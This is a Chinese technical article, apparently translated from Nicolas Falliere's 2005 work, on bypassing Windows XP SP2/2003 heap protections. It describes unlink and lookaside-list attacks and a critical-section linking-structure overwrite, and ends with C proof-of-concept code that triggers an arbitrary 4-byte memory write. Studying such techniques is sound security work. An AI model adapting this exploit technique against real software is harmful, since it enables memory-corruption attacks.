绕过win2003堆栈保护机制的新方法
- 摘要:最近两年来windows的堆栈溢出问题变得愈来愈流行了。文章告诉读者如何绕过WIN系统的第一层保护,来触发内存中的数据覆写,从而实现堆栈溢出攻击。
- 标签:windows2003
最近两年来windows的堆栈溢出问题变得愈来愈流行了。本文向读者介绍了常用的堆栈漏洞发现方法为啥对新平台(xp sp2和win 2003)不适用了,因为微软修改了winxp,winxp sp1,和win2000的堆栈保护机制。文章告诉读者如何绕过第一层保护,来触发内存中的数据覆写。
Windows的堆栈溢出的概览
堆栈是一块块连续的内存结合,当一个程序要动态分配内存时,分配的动作将发生在堆栈中,象malloc(),GlobalAlloc(),LocalAlloc()和HeapAlloc()等功能函数只是核心函数RtlAllocateHeap()的外衣,由ntdll.dll文件提供的API负责在堆栈中分配内存。还有其他的Rtl*Heap()函数,负责生成和撤销堆栈,以及处理堆栈中的内存块。每个内存块都含有一个头,这个头详细描述了本块和前一块的大小,块是否正在忙的状态,以及该块位于内存的哪个段位中,块头一般是8位长,接着是块在实际存储区域。如果块空闲,则有两个针指向该标准头,这些针叫Flink和Blink,就是'前连'和'后连'的意思。参考图
当溢出发生时,当前临近块的指示头的结构就被覆写了,通过伪造‘恶意’值,将引起后续的堆栈操作,就可能触发一个任意的4字节内存覆写。其实这只是发现堆栈机制的一个简单方法-叫做'切断连接'。假设我们来溢出一个自由块中的内容,以下2条汇编指令可以完成'切断连接'的过程:
mov [reg1], reg2 ; reg1=Flink
mov [reg2+4], reg1 ;reg2=Blink
这样伪造了Flink和Blink并导致4字节内存覆写后,下一步就可以获得控制权了。
Windows堆栈保护简介
常见的堆栈保护技术在windows XP,windows XP SP1和win2000等操作系统中使用得很好。但是随着windows 2003的出现,微软为了在分配和解除内存块之前验证块的有效性,对堆栈的管理例程和结构进行了修改,主要有:
在块头部分引入了‘安全标记项’(security cookie),块一旦被分配,该项就被检查以确保没有溢出发生;
执行'切断连接'动作时,Flink和Blink指针也要作同样的检验,如果想发现堆栈溢出,黑客就必须克服这个标记验证项。同时微软还引入了其他一些保护措施,主要是进程环境块随机化、特殊指针重新编码等,目的都是要减少那些‘固定的’和‘大家都知道的’函数指针的数量,这些指针通常能被全局的系统进程使用,也成为了黑客喜欢利用的目标特权。
新机制仍有缺陷
新保护机制并非100%免疫堆栈溢出,第一个公布的绕过新堆栈保护机制的方法,是针对了'边查表'(lookaside)列表的不存在校验的缺点提出的。'边查表'的第一个dword项,作为内存块简单连接表的开始,被标记为‘忙’的状态,但却可以随时接受内存分配。当内存分配发生时,返回值可能是相应的'边查表'的开始区域:在'边查表'中只是用新分配区域块的Flink指针简单替换'边查表'中原先的Flink指针。过程见图
:
这种破解新机制的方法理论上不错,但实现起来比较麻烦,而且难以使用。如果我们需要做n个字节的覆写内存动作,必须执行以下6条:
1.分配n字节的区域(n<1016字节)
2.解除该区域:该区域在边查表中有登记
3.溢出发生在当前临近的区域中:我们可以用Flink指针操作当前空闲的区域
4.n个字节的区域被分配:我们伪造出来的指针被写进'边查表'
5.n个字节的第二个区域被分配:我们伪造的指针返回
6.从控制输入拷贝一个操作到缓冲区执行:这些字节被写进我们选中的位置。
可以看出,在程序中要实现上述绕过方法很难,因为堆栈必须有一个活动的而且是未上锁的'边查表'存在,才能使该方法奏效。
绕过堆栈保护机制的另外一个方法
这种方法至少覆写掉内存中的4个字节,通过溢出存储在进程默认堆栈中的特殊结构来实现。和系统生成的其他堆栈一样,进程默认堆栈被许多windows应用编程接口用来存放与进程相关的信息和环境值。当一个DLL库被加载后,主函数被执行,通常情况下数据可以被存放在进程堆栈中,如果这些数据片断被覆写该怎么办?
实际上即便是最简单的程序,象windows的记事本程序,也需要运行很多库文件来支持,仔细察看默认堆栈中的内存块,可以看到这些块有40个字节的长度,其中块头长度是8个字节。
结构如图
图中A是下一个40字节长的结构的地址,B是当前40字节长结构的地址。
注意:如果使用debugger创建这些结构,长度将变为56字节,多出的16字节是由"debug_process"标志产生的。
A和B行使了Blink和Flink指针的功能。X指向的结构实际上是'临街断面','临街断面'一旦初始化建立后,就会相应副产出一个40字节长的连接结构用来跟踪临街断面,这些结构有些位于ntdll.dll动态库文件的数据区;当他们都被使用了,连接结构就被生成在默认堆栈中了。
如图
显示了一个进程的所有'临界断面'是如何连接在一起的。双连接的表提醒我们堆栈管理例程应该如何解除内存区块(chunks),破坏一个‘临界断面’的过程中,我们也将把与之相应的连接结构从表中删除掉,如果我们交换A和B,我们就应该可以覆写掉4字节的内存。实际上,我们可以用debugger很容易地发现负责处理解除连接进程的代码。(使用debugger用错误地址把A和B交换,从而去除临界断面,引发内存冲突)。以下汇编行被RtlDeleteCriticalSection执行,需要配合的ntdll.dll文件版本是5.1.2600.2180:
mov [eax], ecx ; eax=B
mov [ecx+4], eax; ecx=A
进程终止过程中,会导致临界断面的破坏,这一点将确保覆写动作可以发生。
取得控制权
基于堆栈的缓冲溢出攻击的第一步是覆写内存;第二和第三步是选用恰当的值和位置来执行覆写。XP SP2以后由于引入新内存保护机制,原先的两种攻击方法(固定调用指令指针异常处理法、负载指针进程环境区域函数指针):
原先的异常处理函数有固定的调用地址,由kernel32.dll文件提供的,SP2以后引入新保护机制,真实的调用地址被系统NtQueryInformation进程生成的参数模糊掉了(xor-ed),新机制由ntdll.dll文件提供RtlEncodePointer函数;
进程环境区域的位置也是随机确定的,所以使用原先的固定调用地址法,象调用AcquireFastPebLock或ReleaseFastPebLock来覆写内存将失效。新的保护机制同样被植入了windows 2003 sp1系统中,windows 2003 sp0系统仅采用了普通堆栈保护机制。
结论和参考代码
通常情况进程结束时临界断面结构将被销毁,这样就意味着为了引发覆写动作就必须强制生成一个能够摧毁程序的潜在攻击代码,而且溢出必须发生在进程默认堆栈中,需要一个最小的弹性方法来覆写一个联表机构。 但是在最新版的windows系统中生成一个内存覆写动作也是可能的,内存覆写是实现堆栈溢出攻击的前提步骤.
实现该方法的参考代码:
/*
-------------------------------------------------------------------------------
Simulates a heap overflow in a critical section linking structure,
and trigger a memory overwrite
Works with Microsoft Windows XP SP2 and Windows 2003 SP1
(c) Nicolas Falliere, 2005
-------------------------------------------------------------------------------
*/
#include
#include
// Saved initial "Cookie" buffer
const BYTE init_buffer[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";
// "Cookie" buffer
BYTE buffer[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";
LONG UEF(EXCEPTION_POINTERS *pEx)
{
printf("/n-- In Final Exception Filter... ---/n");
printf("Cookie=%s/n", buffer);
getchar();
ExitProcess(-1);
// Useless
return EXCEPTION_CONTINUE_SEARCH;
}
int main(void)
{
HANDLE hHeap;
DWORD *p;
INT i;
CRITICAL_SECTION cs[100];
hHeap = GetProcessHeap();
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)UEF);
printf("Cookie=%s/n/n", buffer);
// Createa a critical section
for(i = 0; i < 300; i++)
{
InitializeCriticalSection(&cs[i]);
p = (DWORD *)(cs+i);
// Checks the linking structure is located on the heap
// Pre-allocated linking structures in ntdll's data section get
// busy pretty quickly
if((p[0] > (DWORD)hHeap) && (p[0] < ((DWORD)hHeap + 0x10000)))
break;
}
printf("=> Critical section created/n");
printf("=> Linking structure at: %08x/n", p[0]);
p = (DWORD *)p[0];
printf("=> Before modification : A=%8X B=%8X/n", p[2], p[3]);
p[2] = 0x41414141;
p[3] = (DWORD)buffer;
printf("=> After modification : A=%8X B=%8X/n", p[2], p[3]);
// This triggers the overwriting, and the exception
DeleteCriticalSection(cs+i);
// You should not see that (
printf("=> Critical section deleted/n");
return 0;
}
代码结尾。